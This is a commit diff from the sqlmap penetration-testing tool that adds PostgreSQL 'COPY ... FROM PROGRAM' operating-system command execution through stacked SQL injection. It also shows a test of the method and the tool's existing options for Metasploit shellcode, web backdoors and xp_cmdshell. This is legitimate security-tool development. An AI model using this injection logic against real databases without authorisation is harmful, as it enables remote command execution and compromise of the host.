This commit is contained in:
Miroslav Stampar 2019-03-22 13:49:52 +01:00
parent 5ced273b8a
commit 2d129f3e58
6 changed files with 50 additions and 16 deletions

View File

@ -1882,6 +1882,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.connErrorChoice = None kb.connErrorChoice = None
kb.connErrorCounter = 0 kb.connErrorCounter = 0
kb.cookieEncodeChoice = None kb.cookieEncodeChoice = None
kb.copyExecTest = None
kb.counters = {} kb.counters = {}
kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR kb.customInjectionMark = CUSTOM_INJECTION_MARK_CHAR
kb.data = AttribDict() kb.data = AttribDict()

View File

@ -19,7 +19,7 @@ from lib.core.enums import DBMS_DIRECTORY_NAME
from lib.core.enums import OS from lib.core.enums import OS
# sqlmap version (<major>.<minor>.<month>.<monthly commit>) # sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.3.3.43" VERSION = "1.3.3.44"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)

View File

@ -44,7 +44,10 @@ class Abstraction(Web, UDF, XP_cmdshell):
XP_cmdshell.__init__(self) XP_cmdshell.__init__(self)
def execCmd(self, cmd, silent=False): def execCmd(self, cmd, silent=False):
if self.webBackdoorUrl and not isStackingAvailable(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
self.webBackdoorRunCmd(cmd) self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@ -60,7 +63,10 @@ class Abstraction(Web, UDF, XP_cmdshell):
def evalCmd(self, cmd, first=None, last=None): def evalCmd(self, cmd, first=None, last=None):
retVal = None retVal = None
if self.webBackdoorUrl and not isStackingAvailable(): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
retVal = self.copyExecCmd(cmd)
elif self.webBackdoorUrl and not isStackingAvailable():
retVal = self.webBackdoorRunCmd(cmd) retVal = self.webBackdoorRunCmd(cmd)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
@ -103,14 +109,19 @@ class Abstraction(Web, UDF, XP_cmdshell):
logger.info(infoMsg) logger.info(infoMsg)
else: else:
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
infoMsg = "going to use injected sys_eval and sys_exec " infoMsg = "going to use 'COPY ... FROM PROGRAM ...' "
infoMsg += "user-defined functions for operating system " infoMsg += "command execution"
logger.info(infoMsg)
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
infoMsg = "going to use injected user-defined functions "
infoMsg += "'sys_eval' and 'sys_exec' for operating system "
infoMsg += "command execution" infoMsg += "command execution"
logger.info(infoMsg) logger.info(infoMsg)
elif Backend.isDbms(DBMS.MSSQL): elif Backend.isDbms(DBMS.MSSQL):
infoMsg = "going to use xp_cmdshell extended procedure for " infoMsg = "going to use extended procedure 'xp_cmdshell' for "
infoMsg += "operating system command execution" infoMsg += "operating system command execution"
logger.info(infoMsg) logger.info(infoMsg)
@ -200,7 +211,9 @@ class Abstraction(Web, UDF, XP_cmdshell):
logger.warn(warnMsg) logger.warn(warnMsg)
if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and self.checkCopyExec():
success = True
elif Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL):
success = self.udfInjectSys() success = self.udfInjectSys()
if success is not True: if success is not True:

View File

@ -10,6 +10,8 @@ import os
from lib.core.common import Backend from lib.core.common import Backend
from lib.core.common import checkFile from lib.core.common import checkFile
from lib.core.common import decloakToTemp from lib.core.common import decloakToTemp
from lib.core.common import isListLike
from lib.core.common import isStackingAvailable
from lib.core.common import randomStr from lib.core.common import randomStr
from lib.core.data import kb from lib.core.data import kb
from lib.core.data import logger from lib.core.data import logger
@ -104,13 +106,28 @@ class Takeover(GenericTakeover):
self.cleanup(onlyFileTbl=True) self.cleanup(onlyFileTbl=True)
def copyExecCmd(self, cmd): def copyExecCmd(self, cmd):
# Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 output = None
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
inject.goStacked(self._forgedCmd)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName) if isStackingAvailable():
output = inject.getValue(query, resumeValue=False) # Reference: https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5
self._forgedCmd = "DROP TABLE IF EXISTS %s;" % self.cmdTblName
self._forgedCmd += "CREATE TABLE %s(%s text);" % (self.cmdTblName, self.tblField)
self._forgedCmd += "COPY %s FROM PROGRAM '%s';" % (self.cmdTblName, cmd.replace("'", "''"))
inject.goStacked(self._forgedCmd)
query = "SELECT %s FROM %s" % (self.tblField, self.cmdTblName)
output = inject.getValue(query, resumeValue=False)
if isListLike(output):
output = os.linesep.join(output)
self._cleanupCmd = "DROP TABLE %s" % self.cmdTblName
inject.goStacked(self._cleanupCmd)
return output return output
def checkCopyExec(self):
if kb.copyExecTest is None:
kb.copyExecTest = self.copyExecCmd("echo 1") == '1'
return kb.copyExecTest

View File

@ -140,6 +140,9 @@ class Miscellaneous:
if not isStackingAvailable() and not conf.direct: if not isStackingAvailable() and not conf.direct:
return return
if any((conf.osCmd, conf.osShell)) and Backend.isDbms(DBMS.PGSQL) and kb.copyExecTest:
return
if Backend.isOs(OS.WINDOWS): if Backend.isOs(OS.WINDOWS):
libtype = "dynamic-link library" libtype = "dynamic-link library"

View File

@ -169,7 +169,7 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous):
msg = "how do you want to execute the Metasploit shellcode " msg = "how do you want to execute the Metasploit shellcode "
msg += "on the back-end database underlying operating system?" msg += "on the back-end database underlying operating system?"
msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)" msg += "\n[1] Via UDF 'sys_bineval' (in-memory way, anti-forensics, default)"
msg += "\n[2] Via shellcodeexec (file system way, preferred on 64-bit systems)" msg += "\n[2] Via 'shellcodeexec' (file system way, preferred on 64-bit systems)"
while True: while True:
choice = readInput(msg, default='1') choice = readInput(msg, default='1')